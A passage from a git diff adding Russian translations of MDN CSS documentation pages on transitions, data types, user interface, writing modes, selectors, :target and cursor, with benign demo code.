+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_1s",275,150)}}
+
+ +
+

transition-delay: 2s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_2s",275,150)}}
+
+ +
+

transition-delay: 4s

+ +
+ 
 <div class="parent">
+  <div class="box">Lorem</div>
+</div>
+
+ + 
.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+ + 
function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+
+
+ +
{{EmbedLiveSample("delay_4s",275,150)}}
+
+
+
+
+ +

Короткая запись синтаксиса:

+ +
div {
+    transition: <property> <duration> <timing-function> <delay>;
+}
+ +

Определение завершения перехода

+ +

Есть событие, срабатывающее, когда переход завершен. Во всех браузерах, совместимых со стандартами, есть событие transitionend, в WebKit есть webkitTransitionEnd. Смотрите таблицу поддержки браузерами для дополнительной информации. У transitionend есть 2 свойства:

+ +
+
propertyName
+
Строка, показывающая изменение какого свойства завершено.
+
elapsedTime
+
Число с точкой, какое количество времени переход выполнялся, до того как запустилось событие. Это значение не равно свойству {{cssxref("transition-delay")}}.
+
+ +

Как обычно, используйте метод {{domxref("element.addEventListener()")}}, чтобы следить за этим событием:

+ +
el.addEventListener("transitionend", updateTransition, true);
+
+ +
Замечание: Событие transitionend не произойдёт, когда переход был прерван до его завершения, например, если установили {{cssxref("display")}}: none или значение анимируемого свойства изменилось.
+ +

Когда у списков значений свойств разные длины

+ +

Если любой список свойств короче, чем другие, его значения повторяюся, чтобы сделать его длину как и у других. Например:

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+
+ +

Это рассматривается, как если бы это было:

+ +
div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}
+ +

Похожим образом, если какой-то список свойств длиннее, чем у {{cssxref("transition-property")}}, он обрезается:

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s, 2s, 1s;
+}
+ +

Будет интерпретировано как:

+ +
div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}
+ +

Простой пример

+ +

Пример 4 секунды выполняет плавное измение шрифта за 2 секунды, после того как пользователь навел мышь на элемент:

+ +
#delay1 {
+  position: relative;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 14px;
+}
+
+#delay1:hover {
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+  font-size: 36px;
+}
+
+ +

Использование переходов для подсвечивания меню

+ +

Они часто используются для подсвечения элементов в меню при наведении мыши. С помощью переходов легко сделать такой эффект более привлекательным.

+ +

Перед тем, как вы посмотрите на код, возможно захотите посмотреть на живое демо (считаем, что ваш браузер поддерживает переходы). Также можеть посмотреть на CSS, используемый этим примером.

+ +

Сначала зададим меню в HTML:

+ +
<div class="sidebar">
+  <p><a class="menuButton" href="home">Home</a></p>
+  <p><a class="menuButton" href="about">About</a></p>
+  <p><a class="menuButton" href="contact">Contact Us</a></p>
+  <p><a class="menuButton" href="links">Links</a></p>
+</div>
+
+ +

Теперь напишем CSS для нашего меню:

+ +
.menuButton {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  text-align: left;
+  background-color: grey;
+  left: 5px;
+  top: 5px;
+  height: 26px;
+  color: white;
+  border-color: black;
+  font-family: sans-serif;
+  font-size: 20px;
+  text-decoration: none;
+  box-shadow: 2px 2px 1px black;
+  padding: 2px 4px;
+  border: solid 1px black;
+}
+
+.menuButton:hover {
+  position: relative;
+  transition-property: background-color, color;
+  transition-duration: 1s;
+  transition-timing-function: ease-out;
+  background-color:white;
+  color:black;
+  box-shadow: 2px 2px 1px black;
+}
+
+ +

Этот CSS устанавливает внешний вид меню, с фоном и цветом текста, изменяющимися при наведении ({{cssxref(":hover")}}).

+ +

Вместо описания эффекта можете посмотреть на живой пример, если ваш браузер поддерживает переходы.

+ +

Использование переходов, чтобы сделать JavaScript функциональность плавной

+ +

Переходы - крутая вещь, чтоб сделать вид вещей плавней, без надобности что-то делать в вашей JS функциональности. Зацените следующий пример:

+ +
<p>Кликните куда-нибудь, чтобы подвинуть шар</p>
+<div id="foo"></div>
+
+ +

Используя JavaScript, добиваемся эффекта перемещения шара на определенную позицию:

+ +
var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.transform = 'translateY('+(ev.clientY-25)+'px)';
+    f.style.transform += 'translateX('+(ev.clientX-25)+'px)';
+},false);
+
+ +

C помощью CSS сглаживаем эффект без дополнительных усилий. Просто добавляем переход и любое измение свойств происходит плавно:

+ +
p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition: transform 1s;
+}
+
+ +

Можете поиграть с этим здесь: http://jsfiddle.net/9h261pzo/291/

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Transitions', '', '')}}{{Spec2('CSS3 Transitions')}}Изначальное определение
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка1.0 {{property_prefix("-webkit")}}
+ 26.0		{{CompatGeckoDesktop("2.0")}} {{property_prefix("-moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1010.5 {{property_prefix("-o")}}
+ 12.10		3.2 {{property_prefix("-webkit")}}
Событие transitionend1.0[1]
+ 26.0		{{CompatGeckoDesktop("2.0")}}1010.5[2]
+ 12
+ 12.10		3.2[1]
+ 6.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка2.1{{CompatGeckoMobile("2.0")}} {{property_prefix("-moz")}}
+ {{CompatGeckoMobile("16.0")}}		1010 {{property_prefix("-o")}}
+ 12.10		3.2
Событие transitionend2.1[1]{{CompatGeckoMobile("2.0")}}1010[2]
+ 12
+ 12.10		3.2[1]
+
+ +

[1] Chrome 1.0, WebKit 3.2 и Android 2.1 выполняют нестрандартное событие  webkitTransitionEnd. Chrome 26.0 и WebKit 6.0 придерживаются стандарта transitionend.

+ +

[2] Opera 10.5 и Opera Mobile 10 поддерживают oTransitionEnd, версия 12 понимает otransitionend, а версия 12.10 знает стандарт transitionend.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/css_types/index.html b/files/ru/web/css/css_types/index.html new file mode 100644 index 0000000000..47189715ea --- /dev/null +++ b/files/ru/web/css/css_types/index.html @@ -0,0 +1,59 @@ +--- +title: CSS basic data types +slug: Web/CSS/CSS_Types +translation_of: Web/CSS/CSS_Types +--- +
{{CssRef}}
+ +

Базовые типы данных в CSS определяют типичные значения (включая ключевые слова и единицы измерения), принимаемые CSS свойствами и функциями. Они являются частным случаем component value type.

+ +

В формальном синтаксисе типы данных обозначаются ключевыми словами, расположенными межу символами неравенства "<" и">".

+ +

Справка

+ +
+
    +
  • {{cssxref("<angle>")}}
    • +
  • {{cssxref("<basic-shape>")}}
    • +
  • {{cssxref("<blend-mode>")}}
    • +
  • {{cssxref("<color>")}}
    • +
  • {{cssxref("<custom-ident>")}}
    • +
  • {{cssxref("<filter-function>")}}
    • +
  • {{cssxref("<flex>")}}
    • +
  • {{cssxref("<frequency>")}}
    • +
  • {{cssxref("<gradient>")}}
    • +
  • {{cssxref("<image>")}}
    • +
  • {{cssxref("<integer>")}}
    • +
  • {{cssxref("<length>")}}
    • +
  • {{cssxref("<number>")}}
    • +
  • {{cssxref("<percentage>")}}
    • +
  • {{cssxref("<position>")}}
    • +
  • {{cssxref("<ratio>")}}
    • +
  • {{cssxref("<resolution>")}}
    • +
  • {{cssxref("<shape-box>")}}
    • +
  • {{cssxref("<single-transition-timing-function>")}}
    • +
  • {{cssxref("<string>")}}
    • +
  • {{cssxref("<time>")}}
    • +
  • {{cssxref("<transform-function>")}}
    • +
  • {{cssxref("<url>")}}
    • +
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Values') }}{{ Spec2('CSS3 Values') }}Initial definition.
diff --git a/files/ru/web/css/css_user_interface/index.html b/files/ru/web/css/css_user_interface/index.html new file mode 100644 index 0000000000..c5b0e1b0fe --- /dev/null +++ b/files/ru/web/css/css_user_interface/index.html @@ -0,0 +1,118 @@ +--- +title: CSS Basic User Interface +slug: Web/CSS/CSS_User_Interface +tags: + - CSS + - CSS Basic User Interface + - NeedsTranslation + - Overview + - Reference + - TopicStub +translation_of: Web/CSS/CSS_Basic_User_Interface +--- +
{{CSSRef}}
+ +

CSS User Interface is a CSS module that lets you define the rendering and functionality of features related to the user interface.

+ +

Reference

+ +

Preferences

+ +
+
    +
  • {{cssxref("box-sizing")}}
    • +
  • {{cssxref("cursor")}}
    • +
  • {{cssxref("outline")}}
    • +
  • {{cssxref("outline-width")}}
    • +
  • {{cssxref("outline-style")}}
    • +
  • {{cssxref("outline-color")}}
    • +
  • {{cssxref("outline-offset")}}
    • +
  • {{cssxref("resize")}}
    • +
  • {{cssxref("text-overflow")}}
    • +
  • {{cssxref("nav-down")}}
    • +
  • {{cssxref("nav-left")}}
    • +
  • {{cssxref("nav-right")}}
    • +
  • {{cssxref("nav-up")}}
    • +
+
+ +

Guides

+ +
+
Using URL values for the cursor property
+
Explains how a URL can be used with the {{cssxref("cursor")}} property to produce custom cursors.
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI')}}{{Spec2('CSS3 Basic UI')}} 
{{SpecName('CSS2.1', 'ui.html')}}{{Spec2('CSS2.1')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support1.01.5 (1.8)8.07.01.2 (125)
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support1.0{{CompatGeckoMobile(1.8)}}8.06.03.1
+
diff --git a/files/ru/web/css/css_writing_modes/index.html b/files/ru/web/css/css_writing_modes/index.html new file mode 100644 index 0000000000..050c25d5b0 --- /dev/null +++ b/files/ru/web/css/css_writing_modes/index.html @@ -0,0 +1,62 @@ +--- +title: Режимы письма CSS +slug: Web/CSS/CSS_Writing_Modes +tags: + - CSS + - Режимы письма +translation_of: Web/CSS/CSS_Writing_Modes +--- +
{{CSSRef}}
+ +

Режимы письма CSS (CSS Writing Modes) - это CSS модуль, который определяет различные международные режимы письма, такие как:

+ +
    +
  • слева направо (left-to-right), например, используется в латинском и индийском языках;
    • +
  • справа налево (right-to-left), например, используется в иврите или арабском языках;
    • +
  • двунаправленный (bidirectional), используется, когда смешиваются языки с письмом слева направо и справа налево;
    • +
  • вертикальный (vertical), например, используется в некоторых азиатских языках. 
    • +
+ +

Ссылки

+ +

Свойства

+ +
+
    +
  • {{cssxref("direction")}}
    • +
  • {{cssxref("glyph-orientation-horizontal")}}
    • +
  • {{cssxref("text-combine-upright")}}
    • +
  • {{cssxref("text-orientation")}}
    • +
  • {{cssxref("unicode-bidi")}}
    • +
  • {{cssxref("writing-mode")}}
    • +
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Writing Modes')}}{{Spec2('CSS3 Writing Modes')}}
{{SpecName('CSS2.1', 'text.html')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Первоначальное определение
diff --git "a/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/index.html" "b/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/index.html" new file mode 100644 index 0000000000..8745681718 --- /dev/null +++ "b/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/index.html" @@ -0,0 +1,122 @@ +--- +title: CSS-селекторы +slug: Web/CSS/CSS_Селекторы +tags: + - CSS + - Обзор + - Селекторы +translation_of: Web/CSS/CSS_Selectors +--- +
{{CSSRef}}
+ +

Селектор определяет, к какому элементу применять то или иное CSS-правило.

+ +

Обратите внимание - не существует селекторов, которые бы позволили выбрать родителя (содержащий контейнер) или соседа родителя или потомков соседа родителя.

+ +

Базовые селекторы

+ +
+
Универсальный селектор
+
Выбирает все элементы. По желанию, он может быть ограничен определенным пространством имен или относиться ко всему пространству имён.
+ Синтаксис: * ns|* *|*
+ Пример: * будет соответствовать всем элементам на странице.
+
+ +
+
Селекторы по типу элемента
+
Этот базовый селектор выбирает тип элементов, к которым будет применяться правило.
+ Синтаксис: элемент
+ Пример: селектор input выберет все элементы {{HTMLElement('input')}}.
+
Селекторы по классу
+
Этот базовый селектор выбирает элементы, основываясь на значении их атрибута class.
+ Синтаксис: .имяКласса
+ Пример: селектор .index выберет все элементы с соответствующим классом (который был определен в атрибуте class="index").
+
Селекторы по идентификатору
+
Этот базовый селектор выбирает элементы, основываясь на значении их id атрибута. Не забывайте, что идентификатор должен быть уникальным, т. е. использоваться только для одного элемента в HTML-документе. 
+ Синтаксис: #имяИдентификатора
+ Пример: селектор #toc выберет элемент с идентификатором toc (который был определен в атрибуте id="toc").
+
Селекторы по атрибуту
+
Этот селектор выбирает все элементы, имеющие данный атрибут или атрибут с определённым значением.
+ Синтаксис: [attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]
+ Пример: селектор [autoplay] выберет все элементы, у которых есть  атрибут autoplay (независимо от его значения).
+ Ещё пример: a[href$=".jpg"] выберет все ссылки, у которых адрес заканчивается на ".jpg".
+ Ещё пример: a[href^="https"] выберет все ссылки, у которых адрес начинается на "https".
+
+ +

Комбинаторы

+ +
+
Комбинатор запятая
+
Комбинатор , это способ группировки, он выбирает все совпадающие узлы.
+ Синтаксис: A, B
+ Пример: div, span выберет оба элемента - и {{HTMLElement("div")}} и {{HTMLElement("span")}}.
+
Комбинатор потомков
+
Комбинатор ' ' (пробел) выбирает элементы, которые находятся внутри указанного элемента (вне зависимости от уровня вложенности).
+ Синтаксис: A B
+ Пример: селектор div span выберет все элементы {{HTMLElement('span')}}, которые находятся внутри элемента {{HTMLElement('div')}}.
+
Дочерние селекторы
+
Комбинатор '>' в отличие от пробела выбирает только те элементы, которые являются дочерними непосредственно по отношению к указанному элементу.
+ Синтаксис: A > B
+ Пример: селектор ul > li выберет только дочерние элементы {{HTMLElement('li')}}, которые находятся внутри, на первом уровне вложенности по отношению к элементу {{HTMLElement('ul')}}.
+
Комбинатор всех соседних элементов
+
Комбинатор '~' выбирает элементы, которые находятся на этом же уровне вложенности, после указанного элемента, с тем же родителем.
+ Синтаксис: A ~ B
+ Пример: p ~ span выберет все элементы {{HTMLElement('span')}}, которые находятся после элемента {{HTMLElement('p')}} внутри одного родителя.
+
Комбинатор следующего соседнего элемента
+
Комбинатор '+' выбирает элемент, который находится непосредственно после указанного элемента, если у них общий родитель.
+ Синтаксис: A + B
+ Пример: селектор ul + li выберет любой {{HTMLElement('li')}} элемент, который  находится непосредственно после элемента {{HTMLElement('ul')}}.
+
+ +

Псевдо

+ +
+
Псевдоклассы
+
Знак : позволяет выбрать элементы, основываясь на информации, которой нет в дереве элементов.
+ Пример: a:visited соответствует всем элементам {{HTMLElement("a")}} которые имеют статус "посещённые".
+ Ещё пример: div:hover соответствует элементу, над которым проходит указатель мыши.
+ Ещё пример: input:focus соответствует полю ввода, которое получило фокус.
+
Псевдоэлементы
+
Знак :: позволяет выбрать вещи, которых нет в HTML.
+ Пример: p::first-line соответствует первой линии абзаца {{HTMLElement("p")}}.
+
+ +

Версии CSS

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('CSS4 Selectors')}}{{Spec2('CSS4 Selectors')}}Добавление комбинатора колонок || , селекторов структуры сеточной разметки (CSS grid selector), логических комбинаторов, местоположения, временных, состояния ресурсов, лингвистических и UI псевдоклассов, модификаторов для ASCII регистрозависимых и регистронезависимых атрибутов со значениями и без них.
{{SpecName('CSS3 Selectors')}}{{Spec2('CSS3 Selectors')}}Добавлен комбинатор ~ и древовидные структурные псевдоклассы.
+ Сделаны псевдоэлементы, использующие префик :: двойное двоеточие. Селекторы дополнительных атрибутов.
{{SpecName('CSS2.1', 'selector.html')}}{{Spec2('CSS2.1')}}Добавлен комбинатор потомков > и комбинатор следующего соседа + .
+ Добавлен универсальный (*)  комбинатор и селектор атрибутов.
{{SpecName('CSS1')}}{{Spec2('CSS1')}}Первоначальное определение.
+ +

См. также

+ +

CSS специфичность

diff --git "a/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/using_the__colon_target_pseudo-class_in_selectors/index.html" "b/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/using_the__colon_target_pseudo-class_in_selectors/index.html" new file mode 100644 index 0000000000..f737d2cb6d --- /dev/null +++ "b/files/ru/web/css/css_\321\201\320\265\320\273\320\265\320\272\321\202\320\276\321\200\321\213/using_the__colon_target_pseudo-class_in_selectors/index.html" @@ -0,0 +1,62 @@ +--- +title: 'Использование псевдокласса :target в селекторах' +slug: 'Web/CSS/CSS_Селекторы/Using_the_:target_pseudo-class_in_selectors' +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +
{{CSSRef}}
+ +

Иногда пользователям трудно заметить, что URL указывает на определённую часть документа.  Узнайте, как можно использовать простое CSS правило, чтобы привлечь внимание пользователей к цели указания URL и улучшить их впечатления.

+ +

Выбор целевых элементов

+ +

Псевдокласс {{cssxref(":target")}} используется для стилизации целевого элемента URL, содержащего идентификатор фрагмента. Например, URL http://developer.mozilla.org/en/docs/Using_the_:target_selector#example содержит идентификатор фрагмента #example. В HTML, идентификаторы определяются значениями атрибутов  id или name, т.к. эти аттрибуты разделяют одно пространство имён. Таким образом,  в вышеприведённом примере URL указывает на первый элемент "example" в документе.

+ +

Пердположим, вы хотите стилизовать любой элемент h2, который является целью URL, но не хотите, чтобы другие элементы получили стиль цели. Сделать это довольно просто:

+ +
h2:target { font-weight: bold; }
+ +

Также возможно создать стили, специфичные для определённого фрагмента документа. Это достигается использованием такого же идентификационного значения, как в URI. Таким образом, чтобы добавить рамку к фрагменту #example , напишем:

+ +
#example:target { border: 1px solid black; }
+ +

Отметка всех элементов, как целевых

+ +

Если вы намерены создать общий стиль, который будет применяться ко всем целевым элементам, то вам пригодится следующий универсальный селектор:

+ +
:target { color: red; }
+
+ +

Пример

+ +

В данном примере имеются пять ссылок, которые ссылаются на элементы одного и того же документа. Выбор ссылки "First" , например, приведёт к тому, что  <h1 id="one"> станет целевым элементом.  Заметьте, что при прокутке документа целевые элементы располагаются вверху окна браузера, если это возможно.

+ +
+
<h4 id="one">...</h4> <p id="two">...</p>
+<div id="three">...</div> <a id="four">...</a> <em id="five">...</em>
+
+<a href="#one">First</a>
+<a href="#two">Second</a>
+<a href="#three">Third</a>
+<a href="#four">Fourth</a>
+<a href="#five">Fifth</a>
+
+ +

Вывод

+ +

В некоторых случаях, когда идентификатор фрагмента указывает на часть документа, читатели могут запутаться в том, какую именно часть документа они читают. Стилизуя целевой элемент URI, такую путаницу читателей можно уменьшить или убрать вообще.

+ + + +
    +
  • {{cssxref(":target")}}
    • +
+ +
+

Original Document Information

+ +
    +
  • Author(s): Eric Meyer, Standards Evangelist, Netscape Communications
    • +
  • Original Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
    • +
  • Note: This reprinted article was originally part of the DevEdge site.
    • +
+
diff --git a/files/ru/web/css/cursor/index.html b/files/ru/web/css/cursor/index.html new file mode 100644 index 0000000000..9d9d3ea077 --- /dev/null +++ b/files/ru/web/css/cursor/index.html @@ -0,0 +1,299 @@ +--- +title: Курсор +slug: Web/CSS/cursor +translation_of: Web/CSS/cursor +--- +
{{CSSRef}}
+ +

Описание

+ +

The cursor CSS property specifies the mouse cursor displayed when the mouse pointer is over an element.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Применение ключевых значений */
+cursor: pointer;
+cursor: auto;
+
+/* Использование URL и координат */
+cursor:  url(cursor1.png) 4 12, auto;
+cursor:  url(cursor2.png) 2 2, pointer;
+
+/* Глобальные значения */
+cursor: inherit;
+cursor: initial;
+cursor: unset;
+
+ +

Значения

+ +
+
<url>
+
Ссылка или разделенный запятыми список ссылок: url(…), url(…), …, указывающие на файл изображения. Дополнительные сссылки могут быть предоставлены в качестве запасных значений, на случай если изображение по основной ссылке не поддерживается в качестве курсора. Запасное значение, не являющееся ссылкой (одно или несколько ключевых слов) должно находиться в конце списка значений. See Using URL values for the cursor property for more details.
+
<x> <y> {{experimental_inline}}
+
Необязательные значения х- и у- координат. Два безразмерных неотрицательных числа меньше 32.
+
Ключевые слова
+
+

Наведите курсор на картинку, чтобы увидеть пример в действии:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
КатегорияЗначениеВидОписание
ОсновныеautoБраузер самостоятельно определяет значение курсора в зависимости от свойств элемента, на который наведена мышь.
+ Например: при наведении на текст отобразит курсор text.
defaultdefault.gifОсновной курсор платформы, обычно стрелочка.
noneКурсор не отображается.
Ссылки и статусы выполнения задачcontext-menucontext-menu.pngДоступно контекстное меню.
helphelp.gifДоступна вспомогательная информация.
pointerpointer.gifУказатель, обозначающий ссылку, обычно указующая рука.
progressprogress.gifПрограмма занята, но пользователь может взаимодействовать с интерфейсом (в отличие от wait).
waitwait.gifПрограмма занята (песочные часы).
Выделениеcellcell.gifУказывает на возможность выбора клетки или клеток таблицы.
crosshaircrosshair.gifКрестик, часто используемый для обозначения выбора на битовой карте.
texttext.gifЗначок выбора текста.
vertical-textvertical-text.gifЗначок выбора вертикального текста.
"Захвати и перенеси"aliasalias.gifБудет создана ссылка внутри страницы.
copycopy.gifУКазывает на возможность копирования.
movemove.gif +

Указывает на возможностсь перемещения объекта.

+
no-dropno-drop.gifУказывает на невозможность "сбрасывания" объекта.
+ В Windows и Mac OSX то же самое что и not-allowed.
not-allowednot-allowed.gifУказатель невозможности выполнения действия.
Изменение размера, прокручивание (скроллинг)all-scrollall-scroll.gifУказатель возможности перемещения по странице в любом направлении.
+ в Windows то же самое что move.
col-resizecol-resize.gifОбъект может быть раздвинут/сдвинут горизонтально. Обычно две вертикальные черты со стрелочками в разные стороны.
row-resizerow-resize.gifОбьект может быть раздвинут/сдвинут вертикально. Две горизонтальные черты с вертикальными стрелочками.
n-resizeExample of a resize towards the top cursorГрань или грани могут быть перемещены. Например se-resize используется для обозначения перемещения с юго-востока. В некоторых системах то же самое что двунаправленное изменение.
e-resizeExample of a resize towards the right cursor
s-resizeExample of a resize towards the bottom cursor
w-resizeExample of a resize towards the left cursor
ne-resizeExample of a resize towards the top-right corner cursor
nw-resizeExample of a resize towards the top-left corner cursor
se-resizeExample of a resize towards the bottom-right corner cursor
sw-resizeExample of a resize towards the bottom-left corner cursor
ew-resize3-resize.gifДвунаправленное изменение размера.
ns-resize6-resize.gif
nesw-resize1-resize.gif
nwse-resize4-resize.gif
Масштабированиеzoom-inzoom-in.gif +

Приближение или уменьшение.

+
zoom-outzoom-out.gif
Захватgrabgrab.gif +

Указывает на возможность схватить и переместить объект.

+
grabbinggrabbing.gif
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Примеры

+ +
.foo {
+  cursor: crosshair;
+}
+
+/* use prefixed-value if "zoom-in" isn't supported */
+.bar {
+  cursor: -webkit-zoom-in;
+  cursor: zoom-in;
+}
+
+/* standard cursor value as fallback for url() must be provided (doesn't work without) */
+.baz {
+  cursor: url(hyper.cur), auto;
+}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Basic UI', '#cursor', 'cursor')}}{{Spec2('CSS3 Basic UI')}}Addition of several keywords and the positioning syntax for url().
{{SpecName('CSS2.1', 'ui.html#cursor-props', 'cursor')}}{{Spec2('CSS2.1')}}Первоначальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.properties.cursor")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/custom-ident/index.html b/files/ru/web/css/custom-ident/index.html new file mode 100644 index 0000000000..facafe5d39 --- /dev/null +++ b/files/ru/web/css/custom-ident/index.html @@ -0,0 +1,136 @@ +--- +title: +slug: Web/CSS/custom-ident +tags: + - CSS + - CSS Data Type + - CSS Тип Данных + - Data Type + - Layout + - Reference + - Web + - Разметка + - тип данных +translation_of: Web/CSS/custom-ident +--- +
{{CSSRef}}
+ +

CSS тип данных <custom-ident> включает любые определённые пользователем строки, используемые в качестве {{glossary("identifier", "идентификатора")}}. Они чувствительны к регистру, некоторые значения запрещены в разных контекстах, чтобы избежать неоднозначности.

+ +

Синтаксис

+ +

Синтаксис <custom-ident> похож на синтаксис CSS идентификаторов (таких, как названия свойств), за исключением того, что значения <custom-ident> чувствительны к регистру. Они состоят из одного или более следующих символов:

+ +
    +
  • буквы латинского алфавита(от A до Z, от a до z),
    • +
  • десятеричные цифры (от 0 до 9),
    • +
  • дефис (-),
    • +
  • нижнее подчёркивание (_),
    • +
  • экранированный символ (символ с бэкслэшем перед ним, \),
    • +
  • символ Unicode (бэкслэш, \, после которого идут от одной до шести шестнадцатеричных цифр, обозначающих кодовую точку этого символа в Unicode)
    • +
+ +

Обратите внимание, что id1, Id1, iD1 и ID1 — это разные идентификаторы, поскольку они чувствительны к регистру. С другой стороны, так как существует несколько способов экранировать символ, toto\? и toto\3F — это один и тот же идентификатор.

+ +

Запрещённые значения

+ +

<custom-ident> не может быть заключён в одинарные или двойные кавычки, потому что иначе он не был бы отличим от значения типа {{CSSxRef("<string>")}}. Более того, первый символ не должен быть цифрой или дефисом (-), если после него идёт ещё одна цифра или ещё один дефис.

+ +

Чтобы избежать неоднозначности, каждое свойство, использующее тип <custom-ident>, запрещает использование некоторых значений:

+ +
+
{{CSSxRef("animation-name")}}
+
{{CSSxRef("counter-reset")}}
+
{{CSSxRef("counter-increment")}}
+
Запрещают глобальные значения CSS (unset, initial и inherit), а также none.
+
{{CSSxRef("@counter-style")}}
+
{{CSSxRef("list-style-type")}}
+
